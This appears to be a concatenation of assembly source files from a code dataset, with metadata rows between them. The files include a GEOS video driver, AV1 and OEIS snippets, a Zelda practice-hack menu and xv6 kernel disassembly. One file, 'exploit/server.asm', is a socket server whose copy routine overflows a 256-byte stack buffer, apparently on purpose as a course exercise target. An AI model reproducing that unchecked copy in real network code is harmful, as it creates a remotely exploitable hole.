VidSetPalette proc near
uses es, di
.enter
; setup destination of write
clr ah
EC < tst es:[W_bmSegment] ; check for valid segment >
EC < ERROR_Z VIDMEM_HUGE_ARRAY_PROBLEM >
mov es, es:[W_bmSegment] ; get segment of bitmap
mov di, offset EB_bm ; es:di -> bitmap structure
tst es:[di].CB_palette ; if zero, no palette
jz done
; OK, so there is a palette. Copy the values over.
; the source palette is at dx:si
push ds, ax, cx
mov ds, dx ; ds:si -> buffer of values
; setup destination offset
add di, es:[di].CB_palette ; es:di -> palette entries
add di, 2 ; point past size
add di, ax ; calculate first index
shl ax, 1
add di, ax ; es:[di] -> first entry
mov ax, cx
shl cx, 1 ; calc #bytes to move
add cx, ax
rep movsb ; copy the palette entries
pop ds, ax, cx
done:
.leave
ret
VidSetPalette endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidGetPalette
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set some palette regs for bitmap
CALLED BY: GLOBAL
PASS: es - Window segment
dx:si - fptr to array of RGBValues
ax - palette register to start with
cx - count of palette registers to change
RETURN: cx - #pal regs changed, or zero if no palette
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 11/16/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidGetPalette proc near
uses ds, di, ax, es, cx, si, bx
.enter
mov ds, es:[W_bmSegment] ; get segment of bitmap
mov di, offset EB_bm ; es:di -> bitmap structure
tst ds:[di].CB_palette ; if zero, no palette
jz noPalette
; OK, so there is a palette. Copy the values over.
xchg si, di ; ds:si -> our palette,
mov es, dx ; es:di -> buffer to fill
add si, ax
shl ax, 1
add si, ax ; ds:si -> starting offset
mov ax, cx ; calc #bytes to move
shl cx, 1
add cx, ax
rep movsb ; fill buffer
done:
.leave
ret
; signal use of default
noPalette:
push ax
clr di ; use GetPalette
mov al, GPT_DEFAULT ; get the default palette
call GrGetPalette
call MemLock
mov ds, ax
pop ax
clr di
xchg si, di ; ds:si -> newly acquired pal
mov es, dx ; es:di -> passed buffer
add si, ax
shl ax, 1
add si, ax ; ds:si -> right one
mov ax, cx
shl cx, 1
add cx, ax ; cx = #bytes to transfer
rep movsb ; copy bytes over
call MemFree ; release block
jmp done
VidGetPalette endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidCheckIfFormatIsSupported
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if the passed bitmap format is supported by
VidMem.
CALLED BY:
PASS: al = BMFormat
RETURN: carry = clear (supported)
= set (not supported)
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 11/ 2/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidCheckIfFormatIsSupported proc near
uses ax, bp
.enter
;
; if the value of the corresponding entry in the table doesn't
; match the passed bitmap format, that bitmap format is not supported.
;
clr ah
mov bp, ax ;bp = BMFormat
mov al, cs:[supportedFormatTable][bp]
cmp bp, ax ;supported or not?
.leave
ret
VidCheckIfFormatIsSupported endp
supportedFormatTable label byte
if _MONO
db BMF_MONO
else
db 0xff
endif ; if _MONO
if _4BIT
db BMF_4BIT
else
db 0xff
endif ; if _4BIT
if _8BIT
db BMF_8BIT
else
db 0xff
endif ; if _8BIT
if _24BIT
db BMF_24BIT
else
db 0xff
endif ; if _24BIT
if _CMYK
db BMF_4CMYK
db BMF_3CMY
else
db 0xff
db 0xff
endif ; if _CMYK
DefEscapeTable 2
DefEscape VidQEscape, DRV_ESC_QUERY_ESC ; query esc capability
DefEscape VidCheckIfFormatIsSupported, VID_ESC_CHECK_IF_FORMAT_IS_SUPPORTED
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidEscape
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Execute some escape function
CALLED BY: GLOBAL
PASS: di - escape code (ORed with 8000h)
RETURN: di - set to 0 if escape not supported
- return unchanged if handled
DESTROYED: see individual functions
PSEUDO CODE/STRATEGY:
scan through the table, find the code, call the handler.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 05/89 Initial version
CL 11/11/95 Copied from vidcomEntry.asm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidEscape proc near
push di ; save a few regs
push cx
push ax
push es
segmov es, cs, cx ; es -> driver segment
mov ax, di ; setup match value
mov di, offset escCodes ; si -> esc code tab
mov cx, NUM_ESC_ENTRIES ; init rep count
repne scasw ; find the right one
pop es
pop ax
jne VE_notFound ; not in table, quit
; function is supported, call through vector
pop cx
call cs:[di+((offset escRoutines)-(offset escCodes)-2)]
pop di
ret
; function not supported, return di==0
VE_notFound:
pop cx ; restore stack
pop di
clr di ; set return value
ret
VidEscape endp
| 24.834074 | 79 | 0.569409 |
43f319dcf6c3c65dcd2b0c216dee586342d7df25 | 1,033 | asm | Assembly | aom_20170505/aom_ports/emms.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_ports/emms.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_ports/emms.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | ;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "aom_ports/x86_abi_support.asm"
section .text
global sym(aom_reset_mmx_state) PRIVATE
sym(aom_reset_mmx_state):
emms
ret
%if LIBAOM_YASM_WIN64
global sym(aom_winx64_fldcw) PRIVATE
sym(aom_winx64_fldcw):
sub rsp, 8
mov [rsp], rcx ; win x64 specific
fldcw [rsp]
add rsp, 8
ret
global sym(aom_winx64_fstcw) PRIVATE
sym(aom_winx64_fstcw):
sub rsp, 8
fstcw [rsp]
mov rax, [rsp]
add rsp, 8
ret
%endif
| 24.595238 | 78 | 0.691191 |
bc8946fc771203efa0415fa1a623cdc2b7b0451f | 448 | asm | Assembly | programs/oeis/131/A131844.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/131/A131844.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/131/A131844.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A131844: 3*A131821 - 2*A000012.
; 1,4,4,7,1,7,10,1,1,10,13,1,1,1,13,16,1,1,1,1,16,19,1,1,1,1,1,19,22,1,1,1,1,1,1,22,25,1,1,1,1,1,1,1,25,28,1,1,1,1,1,1,1,1,28
mov $3,$0
mov $5,2
lpb $5
mov $0,$3
sub $5,1
add $0,$5
sub $0,1
mov $4,1
lpb $0
add $4,1
sub $0,$4
trn $0,$4
add $0,$4
lpe
mul $0,$4
mov $2,$5
mov $4,$0
lpb $2
mov $1,$4
sub $2,1
lpe
lpe
lpb $3
sub $1,$4
mov $3,0
lpe
mul $1,3
add $1,1
| 14 | 125 | 0.491071 |
7efc1edf413f62b78ffe72f901f95d3ccd46178b | 1,058 | asm | Assembly | exploit/server.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
] | null | null | null | exploit/server.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
] | null | null | null | exploit/server.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
] | null | null | null | section .text
global _start
_socket:
mov eax,102
mov ebx,1
mov ecx,esp
add ecx,4
int 0x80
ret 12
_bind:
mov eax,102
mov ebx,2
mov ecx,esp
add ecx,4
int 0x80
ret 28
_listen:
mov eax,102
mov ebx,4
mov ecx,esp
add ecx,4
int 0x80
ret 5
_accept:
mov eax,102
mov ebx,5
mov ecx,esp
add ecx,4
int 0x80
ret 12
_overflow:
mov ebp,esp
sub esp,256
mov eax,esp
__copy:
cmp byte[ecx],0
je __done
mov bl,byte [ecx]
inc ecx
mov byte [eax],bl
inc eax
jmp __copy
__done:
mov esp,ebp
ret
_start:
push dword 6
push dword 1
push dword 2
call _socket
mov esi,eax
;esi has sockfd
push dword 0
push dword 0
push dword 0
push word 0xcca9
push word 2
mov edi,esp
push dword 16
push edi
push esi
call _bind
push byte 1
push esi
call _listen
__callaccept:
push dword 0
push dword 0
push esi
call _accept
mov edi,eax
;edi has connfd
sub esp,512
mov ecx,esp
mov eax,3
mov ebx,edi
mov edx,512
int 0x80
mov eax,6
mov ebx,edi
int 0x80
call _overflow
add esp,512
jmp __callaccept
mov eax,1
mov ebx,0
int 0x80
| 11.020833 | 18 | 0.700378 |
be3fe84240f9b4bd200d38a1bd7b9e5e7510d9f2 | 5,353 | asm | Assembly | src/cm_equipment.asm | spannerisms/lttphack | 8309fecd1b73db4d81616ec500253ae1aa52b399 | [
"MIT"
] | 6 | 2020-02-14T17:14:52.000Z | 2021-12-06T19:51:25.000Z | src/cm_equipment.asm | spannerisms/lttphack | 8309fecd1b73db4d81616ec500253ae1aa52b399 | [
"MIT"
] | 1 | 2020-09-26T07:40:33.000Z | 2020-09-26T07:40:33.000Z | src/cm_equipment.asm | spannerisms/lttphack | 8309fecd1b73db4d81616ec500253ae1aa52b399 | [
"MIT"
] | 7 | 2019-12-02T21:51:51.000Z | 2021-07-03T17:53:04.000Z | EQUIPMENT_SUBMENU:
%menu_header("EQUIPMENT", 19)
;===================================================================================================
%numfield_long_func_prgtext("Health", $7EF36D, 0, $A0, 8, this, cm_draw_hp)
LDA.l $7EF36D
CMP.l $7EF36C
BCC ..not_max
LDA.l $7EF36C
BRA ..set
..not_max
BIT.b SA1IRAM.cm_shoulder
BVS ..flatten
BPL ..set
..flatten
AND.b #$F8
..set
STA.l $7EF36D
RTL
#cm_draw_hp:
PHA ; save A
LSR ; divide by 8 for hearts
LSR
LSR
JSL CMDRAW_NUMFIELD_DEC_FROM_FUNC ; draw our max HP
SEP #$20
PLA
AND.b #$07 ; get fractional
ORA.b #$40
JML CMDRAW_1_CHARACTER
;===================================================================================================
%numfield_func("Max HP", SA1RAM.cm_equipment_maxhp, 3, 20, 5, this)
LDA.w SA1RAM.cm_equipment_maxhp
ASL #3
STA.l $7EF36C
RTL
;===================================================================================================
%numfield_long("Magic", $7EF36E, 0, $80, 8)
;===================================================================================================
%func("Fill rupees", this)
REP #$20
LDA.w #999
STA.l $7EF360
STA.l $7EF362
RTL
;===================================================================================================
%func("Fill everything", this)
JSL Shortcut_FillEverything
JSL CM_CacheWRAM
JML RedrawCurrentMenu
;===================================================================================================
%choice_long_func_filtered_here("Sword", $7EF359, 5, set_sword)
%list_item("No")
%list_item("Fighter")
%list_item("Master")
%list_item("Tempered")
%list_item("Gold")
#set_sword:
JSL DecompSwordGfx
JML Palette_Sword
;===================================================================================================
%choice_long_func_filtered_here("Shield", $7EF35A, 4, set_shield)
%list_item("No")
%list_item("Fighter")
%list_item("Red")
%list_item("Mirror")
#set_shield:
JSL DecompShieldGfx
JML Palette_Shield
;===================================================================================================
%choice_long_func_filtered_here("Armor", $7EF35B, 3, Palette_Armor)
%list_item("Green")
%list_item("Blue")
%list_item("Red")
;===================================================================================================
%choice_long_func_filtered_here("Gloves", $7EF354, 3, Palette_Armor)
%list_item("No")
%list_item("Power glove")
%list_item("Titan's mitt")
;===================================================================================================
%toggle_long_func("Boots", $7EF355, this)
LDA.l $7EF355
LSR
LDA.l $7EF379
AND.b #$FB
BCC ++
ORA.b #$04
++ STA.l $7EF379
RTL
;===================================================================================================
%toggle_long_func("Flippers", $7EF356, this)
LDA.l $7EF356
LSR
LDA.l $7EF379
AND.b #$FD
BCC ++
ORA.b #$02
++ STA.l $7EF379
RTL
;===================================================================================================
%toggle_long("Moon pearl", $7EF357)
;===================================================================================================
%toggle_long("Half magic", $7EF37B)
;===================================================================================================
%numfield_long_2digits("Heart pieces", $7EF36B, 0, 3, 1)
;===================================================================================================
%add_menu_item(BOMBS_SETTER)
%numfield_long_2digits("Arrows", $7EF377, 0, 50, 5)
%numfield_long_2digits("Keys", $7EF36F, 0, 9, 1)
;===================================================================================================
%submenu("Big keys", BIG_KEYS_SUBMENU)
;===================================================================================================
%submenu("Small keys", SMALL_KEYS_SUBMENU)
;===================================================================================================
BIG_KEYS_SUBMENU:
%menu_header("BIG KEYS", 14)
%toggle_bit_long("Sewers", $7EF367, 7)
%toggle_bit_long("Escape", $7EF367, 6)
%toggle_bit_long("Eastern", $7EF367, 5)
%toggle_bit_long("Desert", $7EF367, 4)
%toggle_bit_long("Hera", $7EF366, 5)
%toggle_bit_long("ATower", $7EF367, 3)
%toggle_bit_long("Darkness", $7EF367, 1)
%toggle_bit_long("Swamp", $7EF367, 2)
%toggle_bit_long("Skull", $7EF366, 7)
%toggle_bit_long("Thieves", $7EF366, 4)
%toggle_bit_long("Mire", $7EF367, 0)
%toggle_bit_long("Ice", $7EF366, 6)
%toggle_bit_long("Turtle Rock", $7EF366, 3)
%toggle_bit_long("GTower", $7EF366, 2)
;===================================================================================================
SMALL_KEYS_SUBMENU:
%menu_header("SMALL KEYS", 13)
%numfield_long("Escape", $7EF37C, 0, 9, 1)
%numfield_long("Eastern", $7EF37E, 0, 9, 1)
%numfield_long("Desert", $7EF37F, 0, 9, 1)
%numfield_long("Hera", $7EF386, 0, 9, 1)
%numfield_long("ATower", $7EF380, 0, 9, 1)
%numfield_long("Darkness", $7EF382, 0, 9, 1)
%numfield_long("Swamp", $7EF381, 0, 9, 1)
%numfield_long("Skull", $7EF384, 0, 9, 1)
%numfield_long("Thieves", $7EF387, 0, 9, 1)
%numfield_long("Ice", $7EF385, 0, 9, 1)
%numfield_long("Mire", $7EF383, 0, 9, 1)
%numfield_long("Turtle Rock", $7EF388, 0, 9, 1)
%numfield_long("GTower", $7EF389, 0, 9, 1)
| 28.935135 | 100 | 0.445171 |
83a01a642d685277626907d7087dbdcce76296b3 | 665,807 | asm | Assembly | xv6/kernel.asm | ZhangHnu/xv6FileSystem | a1bb5b607c45f8fa833f8f7b62aa2563d2b9007c | [
"MIT"
] | null | null | null | xv6/kernel.asm | ZhangHnu/xv6FileSystem | a1bb5b607c45f8fa833f8f7b62aa2563d2b9007c | [
"MIT"
] | null | null | null | xv6/kernel.asm | ZhangHnu/xv6FileSystem | a1bb5b607c45f8fa833f8f7b62aa2563d2b9007c | [
"MIT"
] | null | null | null |
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 90 10 00 mov $0x109000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc b0 b5 10 80 mov $0x8010b5b0,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 50 2e 10 80 mov $0x80102e50,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
...
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx
struct buf head;
} bcache;
void
binit(void)
{
80100049: 83 ec 14 sub $0x14,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010004c: c7 44 24 04 40 6d 10 movl $0x80106d40,0x4(%esp)
80100053: 80
80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
8010005b: e8 b0 40 00 00 call 80104110 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx
initlock(&bcache.lock, "bcache");
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c
8010006c: fc 10 80
bcache.head.next = &bcache.head;
8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10
80100076: fc 10 80
80100079: eb 09 jmp 80100084 <binit+0x44>
8010007b: 90 nop
8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100080: 89 da mov %ebx,%edx
80100082: 89 c3 mov %eax,%ebx
b->next = bcache.head.next;
80100084: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
80100087: 8d 43 0c lea 0xc(%ebx),%eax
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
b->next = bcache.head.next;
b->prev = &bcache.head;
8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100091: 89 04 24 mov %eax,(%esp)
80100094: c7 44 24 04 47 6d 10 movl $0x80106d47,0x4(%esp)
8010009b: 80
8010009c: e8 3f 3f 00 00 call 80103fe0 <initsleeplock>
bcache.head.next->prev = b;
801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax
801000a6: 89 58 50 mov %ebx,0x50(%eax)
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000ba: 72 c4 jb 80100080 <binit+0x40>
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000bc: 83 c4 14 add $0x14,%esp
801000bf: 5b pop %ebx
801000c0: 5d pop %ebp
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 1c sub $0x1c,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
801000dc: 8b 7d 0c mov 0xc(%ebp),%edi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
801000df: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
801000e6: e8 95 41 00 00 call 80104280 <acquire>
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx
801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
801000f7: 75 12 jne 8010010b <bread+0x3b>
801000f9: eb 25 jmp 80100120 <bread+0x50>
801000fb: 90 nop
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
// Not cached; recycle an unused buffer.
// Even if refcnt==0, B_DIRTY indicates a buffer is in use
// because log.c has modified it but not yet committed it.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx
80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 58 jmp 80100188 <bread+0xb8>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100139: 74 4d je 80100188 <bread+0xb8>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100161: e8 8a 41 00 00 call 801042f0 <release>
acquiresleep(&b->lock);
80100166: 8d 43 0c lea 0xc(%ebx),%eax
80100169: 89 04 24 mov %eax,(%esp)
8010016c: e8 af 3e 00 00 call 80104020 <acquiresleep>
bread(uint dev, uint blockno)
{
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100171: f6 03 02 testb $0x2,(%ebx)
80100174: 75 08 jne 8010017e <bread+0xae>
iderw(b);
80100176: 89 1c 24 mov %ebx,(%esp)
80100179: e8 12 20 00 00 call 80102190 <iderw>
}
return b;
}
8010017e: 83 c4 1c add $0x1c,%esp
80100181: 89 d8 mov %ebx,%eax
80100183: 5b pop %ebx
80100184: 5e pop %esi
80100185: 5f pop %edi
80100186: 5d pop %ebp
80100187: c3 ret
release(&bcache.lock);
acquiresleep(&b->lock);
return b;
}
}
panic("bget: no buffers");
80100188: c7 04 24 4e 6d 10 80 movl $0x80106d4e,(%esp)
8010018f: e8 dc 01 00 00 call 80100370 <panic>
80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801001a0 <bwrite>:
}
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 14 sub $0x14,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 89 04 24 mov %eax,(%esp)
801001b0: e8 0b 3f 00 00 call 801040c0 <holdingsleep>
801001b5: 85 c0 test %eax,%eax
801001b7: 74 10 je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001b9: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bc: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001bf: 83 c4 14 add $0x14,%esp
801001c2: 5b pop %ebx
801001c3: 5d pop %ebp
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
b->flags |= B_DIRTY;
iderw(b);
801001c4: e9 c7 1f 00 00 jmp 80102190 <iderw>
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
801001c9: c7 04 24 5f 6d 10 80 movl $0x80106d5f,(%esp)
801001d0: e8 9b 01 00 00 call 80100370 <panic>
801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 83 ec 10 sub $0x10,%esp
801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 89 34 24 mov %esi,(%esp)
801001f1: e8 ca 3e 00 00 call 801040c0 <holdingsleep>
801001f6: 85 c0 test %eax,%eax
801001f8: 74 62 je 8010025c <brelse+0x7c>
panic("brelse");
releasesleep(&b->lock);
801001fa: 89 34 24 mov %esi,(%esp)
801001fd: e8 7e 3e 00 00 call 80104080 <releasesleep>
acquire(&bcache.lock);
80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100209: e8 72 40 00 00 call 80104280 <acquire>
b->refcnt--;
8010020e: 8b 43 4c mov 0x4c(%ebx),%eax
80100211: 83 e8 01 sub $0x1,%eax
if (b->refcnt == 0) {
80100214: 85 c0 test %eax,%eax
panic("brelse");
releasesleep(&b->lock);
acquire(&bcache.lock);
b->refcnt--;
80100216: 89 43 4c mov %eax,0x4c(%ebx)
if (b->refcnt == 0) {
80100219: 75 2f jne 8010024a <brelse+0x6a>
// no one is waiting for it.
b->next->prev = b->prev;
8010021b: 8b 43 54 mov 0x54(%ebx),%eax
8010021e: 8b 53 50 mov 0x50(%ebx),%edx
80100221: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
80100224: 8b 43 50 mov 0x50(%ebx),%eax
80100227: 8b 53 54 mov 0x54(%ebx),%edx
8010022a: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
8010022d: a1 10 fd 10 80 mov 0x8010fd10,%eax
b->prev = &bcache.head;
80100232: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
b->refcnt--;
if (b->refcnt == 0) {
// no one is waiting for it.
b->next->prev = b->prev;
b->prev->next = b->next;
b->next = bcache.head.next;
80100239: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
bcache.head.next->prev = b;
8010023c: a1 10 fd 10 80 mov 0x8010fd10,%eax
80100241: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
80100244: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
}
release(&bcache.lock);
8010024a: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp)
}
80100251: 83 c4 10 add $0x10,%esp
80100254: 5b pop %ebx
80100255: 5e pop %esi
80100256: 5d pop %ebp
b->prev = &bcache.head;
bcache.head.next->prev = b;
bcache.head.next = b;
}
release(&bcache.lock);
80100257: e9 94 40 00 00 jmp 801042f0 <release>
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("brelse");
